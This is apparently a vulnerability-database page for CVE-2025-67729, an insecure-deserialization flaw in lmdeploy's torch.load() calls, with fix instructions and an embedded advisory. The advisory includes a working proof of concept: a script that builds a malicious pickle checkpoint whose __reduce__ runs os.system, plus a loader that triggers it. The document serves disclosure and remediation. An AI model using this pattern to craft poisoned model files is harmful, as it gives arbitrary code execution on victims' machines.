CVE-2025-67729: Lmdeploy Lmdeploy Vulnerable To Arbitrary Code Vulnerability
HIGHCVE-2025-67729 is a HIGH (CVSS 8.8) lmdeploy vulnerable to arbitrary code vulnerability (CWE-502: Deserialization of Untrusted Data) affecting Lmdeploy libraries in the PyPI ecosystem. The issue involves lmdeploy vulnerable to arbitrary code execution via insecure deserialization in torch.load(). Remediation is available by upgrading affected packages to version 0.11.1.
CVE-2025-67729 at a Glance
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
How to Fix CVE-2025-67729
To remediate this vulnerability, upgrade all affected Lmdeploy dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install lmdeploy>=0.11.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show lmdeploy
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2025-67729, inspect your installed packages using pip:
pip show lmdeploy
Analyze the terminal output to locate any version of Lmdeploy in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.11.1), your application is affected.
Note: The pip show lmdeploy command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In Lmdeploy, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-67729 Affected Lmdeploy Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
lmdeploy
|
PyPI |
< 0.11.1
|
0.11.1
|
References
Frequently Asked Questions
What is CVE-2025-67729?
Which Lmdeploy versions are affected?
What version fixes CVE-2025-67729?
Is lmdeploy affected?
What is the CVSS score of CVE-2025-67729?
What CWE is associated with CVE-2025-67729?
How can I check PyPI dependencies for CVE-2025-67729?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-9pf3-7rrr-x5jh",
"modified" : "2025-12-27T01:08:38Z",
"published" : "2025-12-26T17:34:08Z",
"aliases" : [ "CVE-2025-67729" ],
"summary" : "lmdeploy vulnerable to Arbitrary Code Execution via Insecure Deserialization in torch.load()",
"details" : "## Summary\n\nAn insecure deserialization vulnerability exists in lmdeploy where `torch.load()` is called without the `weights_only=True` parameter when loading model checkpoint files. This allows an attacker to execute arbitrary code on the victim's machine when they load a malicious `.bin` or `.pt` model file.\n\n\n**CWE:** CWE-502 - Deserialization of Untrusted Data\n\n---\n\n## Details\n\nSeveral locations in lmdeploy use `torch.load()` without the recommended `weights_only=True` security parameter. PyTorch's `torch.load()` uses Python's pickle module internally, which can execute arbitrary code during deserialization.\n\n### Vulnerable Locations\n\n**1. `lmdeploy/vl/model/utils.py` (Line 22)**\n\n```python\ndef load_weight_ckpt(ckpt: str) -> Dict[str, torch.Tensor]:\n \"\"\"Load checkpoint.\"\"\"\n if ckpt.endswith('.safetensors'):\n return load_file(ckpt) # Safe - uses safetensors\n else:\n return torch.load(ckpt) # ← VULNERABLE: no weights_only=True\n```\n\n**2. `lmdeploy/turbomind/deploy/loader.py` (Line 122)**\n\n```python\nclass PytorchLoader(BaseLoader):\n def items(self):\n params = defaultdict(dict)\n for shard in self.shards:\n misc = {}\n tmp = torch.load(shard, map_location='cpu') # ← VULNERABLE\n```\n\n**Additional vulnerable locations:**\n- `lmdeploy/lite/apis/kv_qparams.py:129-130`\n- `lmdeploy/lite/apis/smooth_quant.py:61`\n- `lmdeploy/lite/apis/auto_awq.py:101`\n- `lmdeploy/lite/apis/get_small_sharded_hf.py:41`\n\n### Note: Secure Pattern Already Exists\n\nThe codebase already uses the secure pattern in one location:\n\n```python\n# lmdeploy/pytorch/weight_loader/model_weight_loader.py:103\nstate = torch.load(file, weights_only=True, map_location='cpu') # ✓ Secure\n```\n\nThis shows the fix is already known and can be applied consistently across the codebase.\n\n---\n\n## PoC\n\n### Step 1: Create a Malicious Checkpoint File\n\nSave this as `create_malicious_checkpoint.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCreates a malicious PyTorch checkpoint that executes code when loaded.\n\"\"\"\nimport pickle\nimport os\n\nclass MaliciousPayload:\n \"\"\"Executes arbitrary code during pickle deserialization.\"\"\"\n \n def __init__(self, command):\n self.command = command\n \n def __reduce__(self):\n # This is called during unpickling - returns (callable, args)\n return (os.system, (self.command,))\n\ndef create_malicious_checkpoint(output_path, command):\n \"\"\"Create a malicious checkpoint file.\"\"\"\n malicious_state_dict = {\n 'model.layer.weight': MaliciousPayload(command),\n 'config': {'hidden_size': 768}\n }\n \n with open(output_path, 'wb') as f:\n pickle.dump(malicious_state_dict, f)\n \n print(f\"[+] Created malicious checkpoint: {output_path}\")\n\nif __name__ == \"__main__\":\n os.makedirs(\"malicious_model\", exist_ok=True)\n create_malicious_checkpoint(\n \"malicious_model/pytorch_model.bin\",\n \"echo '[PoC] Arbitrary code executed! - RCE confirmed'\"\n )\n```\n\n### Step 2: Load the Malicious File (Simulates lmdeploy's Behavior)\n\nSave this as `exploit.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nDemonstrates the vulnerability by loading the malicious checkpoint.\nThis simulates what happens when lmdeploy loads an untrusted model.\n\"\"\"\nimport pickle\n\ndef unsafe_load(path):\n \"\"\"Simulates torch.load() without weights_only=True.\"\"\"\n # torch.load() uses pickle internally, so this is equivalent\n with open(path, 'rb') as f:\n return pickle.load(f)\n\nif __name__ == \"__main__\":\n print(\"[*] Loading malicious checkpoint...\")\n print(\"[*] This simulates: torch.load(ckpt) in lmdeploy\")\n print(\"-\" * 50)\n \n result = unsafe_load(\"malicious_model/pytorch_model.bin\")\n \n print(\"-\" * 50)\n print(f\"[!] Checkpoint loaded. Keys: {list(result.keys())}\")\n print(\"[!] If you see the PoC message above, RCE is confirmed!\")\n```\n\n### Step 3: Run the PoC\n\n```bash\n# Create the malicious checkpoint\npython create_malicious_checkpoint.py\n\n# Exploit - triggers code execution\npython exploit.py\n```\n\n### Expected Output\n\n```\n[+] Created malicious checkpoint: malicious_model/pytorch_model.bin\n[*] Loading malicious checkpoint...\n[*] This simulates: torch.load(ckpt) in lmdeploy\n--------------------------------------------------\n[PoC] Arbitrary code executed! - RCE confirmed ← Code executed here!\n--------------------------------------------------\n[!] Checkpoint loaded. Keys: ['model.layer.weight', 'config']\n[!] If you see the PoC message above, RCE is confirmed!\n```\n\nThe `[PoC] Arbitrary code executed!` message proves that arbitrary shell commands run during deserialization.\n\n---\n\n## Impact\n\n### Who Is Affected?\n\n- **All users** who load PyTorch model files (`.bin`, `.pt`) from untrusted sources\n- This includes models downloaded from HuggingFace, ModelScope, or shared by third parties\n\n### Attack Scenario\n\n1. Attacker creates a malicious model file (e.g., `pytorch_model.bin`) containing a pickle payload\n2. Attacker distributes it as a \"fine-tuned model\" on model sharing platforms or directly to victims\n3. Victim downloads and loads the model using lmdeploy\n4. Malicious code executes with the victim's privileges\n\n### Potential Consequences\n\n- **Remote Code Execution (RCE)** - Full system compromise\n- **Data theft** - Access to sensitive files, credentials, API keys\n- **Lateral movement** - Pivot to other systems in cloud environments\n- **Cryptomining or ransomware** - Malware deployment\n\n---\n\n## Recommended Fix\n\nAdd `weights_only=True` to all `torch.load()` calls:\n\n```diff\n# lmdeploy/vl/model/utils.py:22\n- return torch.load(ckpt)\n+ return torch.load(ckpt, weights_only=True)\n\n# lmdeploy/turbomind/deploy/loader.py:122\n- tmp = torch.load(shard, map_location='cpu')\n+ tmp = torch.load(shard, map_location='cpu', weights_only=True)\n\n# Apply the same pattern to:\n# - lmdeploy/lite/apis/kv_qparams.py:129-130\n# - lmdeploy/lite/apis/smooth_quant.py:61\n# - lmdeploy/lite/apis/auto_awq.py:101\n# - lmdeploy/lite/apis/get_small_sharded_hf.py:41\n```\n\nAlternatively, consider migrating fully to SafeTensors format, which is already supported in the codebase and immune to this vulnerability class.\n\n---\n\n## Resources\n\n### Official PyTorch Security Documentation\n\n- **[PyTorch torch.load() Documentation](https://pytorch.org/docs/stable/generated/torch.load.html)**\n \n > *\"torch.load() uses pickle module implicitly, which is known to be insecure. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never load data that could have come from an untrusted source.\"*\n\n### Related CVEs\n\n| CVE | Description | CVSS |\n|-----|-------------|------|\n| [CVE-2025-32434](https://nvd.nist.gov/vuln/detail/CVE-2025-32434) | PyTorch `torch.load()` RCE vulnerability | **9.3 Critical** |\n| [CVE-2024-5452](https://nvd.nist.gov/vuln/detail/CVE-2024-5452) | PyTorch Lightning insecure deserialization | **8.8 High** |\n\n### Additional Resources\n\n- [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n- [Trail of Bits: Exploiting ML Pickle Files](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n- [Rapid7: Attackers Weaponizing AI Models](https://www.rapid7.com/blog/post/2024/02/06/attackers-are-weaponizing-ai-model-files/)\n\n---\n\nThank you for your time reviewing this report. I'm happy to provide any additional information or help with testing the fix. Please let me know if you have any questions!",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "lmdeploy"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.11.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.11"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-9pf3-7rrr-x5jh"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-67729"
}, {
"type" : "WEB",
"url" : "https://github.com/InternLM/lmdeploy/commit/eb04b4281c5784a5cff5ea639c8f96b33b3ae5ee"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/InternLM/lmdeploy"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-502" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2025-12-26T17:34:08Z",
"nvd_published_at" : "2025-12-26T22:15:52Z"
}
}